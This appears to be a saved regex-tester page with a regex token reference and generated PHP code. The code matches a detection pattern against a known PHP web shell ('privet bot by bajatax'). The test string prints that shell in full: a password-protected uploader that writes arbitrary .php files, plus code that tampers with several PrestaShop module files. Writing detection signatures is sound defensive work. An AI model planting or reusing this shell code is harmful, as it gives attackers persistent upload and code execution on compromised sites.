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  • All Tokens
  • Common Tokens
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  • Anchors
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  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
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Test String

Code Generator

Generated Code

$re = '/^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*echo\s*["\']privet\s*bot\s*by\s*bajatax\s*\&\&\s*xsam\-xado/is'; $str = 'gif89a <?php echo \'privet bot by bajatax && xsam-xadoo\'.\'<br>\'.\'uname:\'.php_uname().\'<br>\'.$cwd = getcwd(); echo \'<center> <form method="post" target="_self" enctype="multipart/form-data"> <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" /> <input type="password" name="baja_xsam" value="sirt7wa"></form> </center></td></tr> </table><br>\'; if (!empty ($_files[\'uploads\']) and md5(md5(md5($_post["baja_xsam"]))) == "ddb0bfc94159c6ac960367ef994ae246" ) { move_uploaded_file($_files[\'uploads\'][\'tmp_name\'],md5(time()).".php"); echo "<b>uploaded !!!</b><br>name : ".md5(time()).".php"."<br>size : ".$_files[\'uploads\'][\'size\']."<br>type : ".$_files[\'uploads\'][\'type\']; } $path_exploit_payloads=array("/modules/explorerpro/action.php","/modules/sampledatainstall/sampledatainstall-ajax.php","/modules/colorpictures/ajax/upload.php",); foreach($path_exploit_payloads as $path_exploit_payload){ if(file_exists($path.$path_exploit_payload)){ $html=" "; if(function_exists("file_get_contents")){ $html=file_get_contents($path.$path_exploit_payload); } if(!preg_match("/hash_bajatax/i",$html)){ $save=fopen($path.$path_exploit_payload,"w"); fwrite($save,\'<?php if(md5(md5(md5($_post["hash_bajatax"]=="7200c4e8bb32ac615efe537aa72d8667")))) { ?> \'.$html." <?php } ?>"); fclose($save); } } } ?> '; preg_match_all($re, $str, $matches, PREG_SET_ORDER, 0); // Print the entire match result var_dump($matches);

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for PHP, please visit: http://php.net/manual/en/ref.pcre.php